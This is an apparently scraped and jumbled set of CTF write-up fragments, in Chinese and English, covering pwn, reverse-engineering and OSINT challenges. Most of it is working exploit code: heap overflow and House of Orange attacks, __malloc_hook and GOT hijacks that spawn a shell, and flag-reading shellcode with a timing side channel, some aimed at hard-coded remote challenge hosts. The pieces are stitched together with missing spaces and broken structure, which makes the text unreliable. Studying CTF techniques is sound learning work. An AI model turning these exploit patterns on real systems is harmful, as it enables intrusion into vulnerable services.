sp = ( p32(0)*6 + p32(0x004AA330) # that's gp, we need to keep it + p32(0)*5 + b"devolper".ljust(100, b"\x00") + b"devolper".ljust(100, b"\x00") + b"system\x00"# overwrite command to system )
payload += sp r.sendline(payload)
r.interactive()
if __name__ == "__main__": main()
pwnymalloc
概况
i’m tired of hearing all your complaints. pwnymalloc never complains.
# fake chunk inside payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n' refund(payload) # the target chunk we will overflow payload = b'\x00'*0x78 + p64(0xb0)[:-1] refund(payload) # trigger the coalesce payload = b'BeaCox never complains\n' complain(payload) # overwrite the target to make it approved payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n'# what about refunding a deadbeef? refund(payload) gdb.attach(r) # win! win(1)
r.interactive()
if __name__ == "__main__": main()
Rusty Pointers
概况
The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.
seccomp-tools dump ./syscalls The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you. line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024 0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024 0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024 0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024 0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024 0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024 0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024 0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024 0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024 0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024 0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024 0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024 0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024 0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023 0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen) 0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023 0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024 0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen) 0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x06 0x00 0x00 0x00000000 return KILL
intopenat(int dirfd, constchar *pathname, int flags); intopenat(int dirfd, constchar *pathname, int flags, mode_t mode);
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process
From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001 From: YiFei Zhu <zhuyifei@google.com> Date: Wed, 26 Jun 2024 19:39:11 -0700 Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation
They are avoided by enforcing a failure when the kernel tries to allocate a free fd. To be extra extra safe, attempting to install an fd after the point of no return will panic.
Child processes inherit the restriction just like seccomp.
If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed: … (3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:
defmain(): args.LOCAL = False r = conn() # `readelf -S ./3x17` to find the addr of .fini_array # in the `start`, there is a `__libc_start_main` # the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`
s2 = "congratulationstoyoucongratulationstoy" for i inrange(flag_len): solver.add(s1[i] == ord(s2[i]))
if solver.check() == sat: model = solver.model() flag = ''.join([chr(model[flag_chars[i]].as_long()) for i inrange(flag_len)]) print(f'flag: {flag}') else: print('unsat')
有 syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :
1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}
orange_cat_diary
首先用 IDA 反编译程序,在程序中发现以下漏洞:
heap overflow(8字节的溢出)
UAF(只能使用一次,因为只能 delete 一次)
write after free
read after free
再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。 利用代码如下:
# p = binary.process() p = remote('8.147.129.254', 25553) p.recvuntil(b'Please tell me your name.\n') p.sendline(b'BeaCox')
defmenu(): p.recvuntil(b'###orange_cat_diary###') p.recvuntil(b'Please input your choice:')
defadd(size, content): menu() p.sendline(b'1') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
defshow(): menu() p.sendline(b'2')
defdelete(): menu() p.sendline(b'3')
defedit(size, content): menu() p.sendline(b'4') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
前言在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun!有人在频道里提议参加TBTL CTF 2024,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。Tower of Babel这是一道简单的社工题。mp3 文件里有这道题的提示:该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。首先搜这家公司,可以通过这个网站找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。然后我们搜索其社会信用代码,得到91469027MA5TRBAW56。因此 flag 为 TBTL{91469027MA5TRBAW56}。Wikipedia Signatures这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_l
# convert to qrcode from PIL import Image MAX = 31 pic = Image.new("RGB",(MAX, MAX)) i=0 for y inrange (0,MAX): for x inrange (0,MAX): if(flag[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png") # TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}
defedit(length, payload): p.sendlineafter(b'Your choice:', b'3') p.sendlineafter(b'How many characters do you want to change:', str(length).encode()) p.send(payload)
for i, c inenumerate(shellcode1): # if c >= 0b10000000: # log.info("bad byte %s at index %d" % (hex(c), i)) # log.error(shellcode1) if i & 1 != c & 1: log.info("bad byte %s at index %d" % (hex(c), i)) log.error(shellcode1) if c & 1 == 1and c > 0x80: log.info("negative byte %s at index %d" % (hex(c), i)) log.error(shellcode1)
# we need brute force every byte of flag # the seach space is 0x20 ~ 0x7e search_space = [i for i inrange(0x20, 0x7e)]
flag_probable_len = 0x40 flag = '' for i inrange(flag_probable_len): for ch in search_space: # p = process(binary.path) p = remote('111.186.57.85',40245) p.recvuntil(b'Please input your shellcode: \n') ### stage1: call a read syscall to read shellcode p.send(shellcode1) ### stage2: fuck yeah! we can send shellcode without limitation now # but we have no write # so we have to use ways like side channel shellcode2 = asm(f''' lea rdi, [rip+flag] mov rsi, 0 mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall loop: xor rax, rax xor rbx, rbx mov al, byte ptr[rsp+{i}] mov bl, {ch} cmp al, bl je loop flag: .string "./flag" ''') shellcode2 += b'\x90' * (0x200 - len(shellcode2)) p.send(shellcode2) # learned from changcheng cup... p.shutdown('send')
# now if ch is the right byte, the program will be in a dead loop # otherwise the program will die sleep(1) # if p.poll() == None: # flag += chr(ch) # print("flag is now: ", flag) # p.close() # break # else: # p.close() # continue try: detection = p.fileno() p.recv(timeout=0.1) flag += chr(ch) print("flag is now: ", flag) p.close() break except: p.close() continue
# we will use this to get libc leak and control free_got malloc(0,0x500, b'a') malloc(1,0x20,b'/bin/sh\x00') free(0)
# 2 is used to get control of tcache malloc(2,0x90, b'b') # 3 is used to make a tcache bin malloc(3,0x330, b'c') free(3) gdb.attach(p) edit(2,p64(heap_manager)*(0x90//8)) # now tcace bin is # 0x340 [ 1]: 0x4060b0 ◂— 0x0 # 0x350 [ 0]: 0x4060b0 ◂— ... payload=p64(0x1000)+p32(free_got) # now we control the heap_manager # we make index 0 's size 0x1000 # and we make index 1 's pointer to free_got malloc(3,0x330,payload) # this will puts what is on the free_got response = puts(0) libc_leak = response[-6:].ljust(8, b'\x00') libc.address = u64(libc_leak) - libc.sym['free'] info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}') system = libc.sym['system'] # we overwrite free_got with system edit_0_end(0,p64(system)) # 1's pointer point to /bin/sh free(1) p.interactive()
v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158) ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7) # tmp1 is the bytearray after xored tmp1 = bytearray() # each byte in tmp is the result of ct[i] - v25[i] for i inrange(48): if ct[i] < v25[i]: tmp1.append(ct[i] + 256 - v25[i]) else: tmp1.append(ct[i] - v25[i]) # tmp1 is the bytearray before xored with 0x28 for i inrange(48): tmp1[i] ^= 0x28 print(tmp1)
defreverse(cypher): # group cypher into 8 bytes cypher = [cypher[i:i+8] for i inrange(0, len(cypher), 8)] # for each group, we decrypt it for i inrange(len(cypher)): # swap BYTE3 and BYTE4 tmp = cypher[i][3] cypher[i][3] = cypher[i][4] cypher[i][4] = tmp for j inrange(8): cypher[i][j] += j + i*8 # swap BYTE2 and BYTE6 tmp = cypher[i][2] cypher[i][2] = cypher[i][6] cypher[i][6] = tmp # swap BYTE1 and BYTE7 tmp = cypher[i][1] cypher[i][1] = cypher[i][7] cypher[i][7] = tmp # swap BYTE0 and BYTE5 tmp = cypher[i][0] cypher[i][0] = cypher[i][5] cypher[i][5] = tmp
# get the result result = b'' for i inrange(len(cypher)): result += bytes(cypher[i]) print(result)
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defsave_image(): count = 0 for i inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) # compared with the local images using b64, if the image is not in the local images, save it # using a uuid as the filename # if folder is empty, save the image directly ifnot os.listdir('images'): withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1 else: save_flag = True for filename in os.listdir('images'): withopen(f'images/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): save_flag = False break if save_flag: withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())
whileTrue: correct_answers = [] file_list = [] p = remote('instance.penguin.0ops.sjtu.cn', 18081) p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n') p.recvuntil(b"solution + '") challenge = p.recvuntil(b"'", drop=True).decode() info(f"challenge: {challenge}") # p.interactive() solution = solve_pow(challenge) if solution isNone: p.close() continue info(f"solution: {solution}") p.sendline(solution.encode()) eval_image() try: response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3) wrong_round = p.recvuntil(b".", drop=True) info(f"wrong_round: {wrong_round}") wrong_round = int(wrong_round) wrong_filename = file_list[wrong_round - 1] # change the filename to the right answer(opposite of original answer) # modify the filename to the right answer correct_answer = correct_answers[wrong_round - 1] if correct_answer == 'Y': correct_answer = 'N' else: correct_answer = 'Y' right_filename = wrong_filename[:-5] + correct_answer + '.png' # append the wrong filename to log.txt withopen('log.txt', 'a') as f: f.write(f'{wrong_filename}\n') os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}') p.close() continue except: break
defsolve_pow(challenge, difficulty=5, timeout=3): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())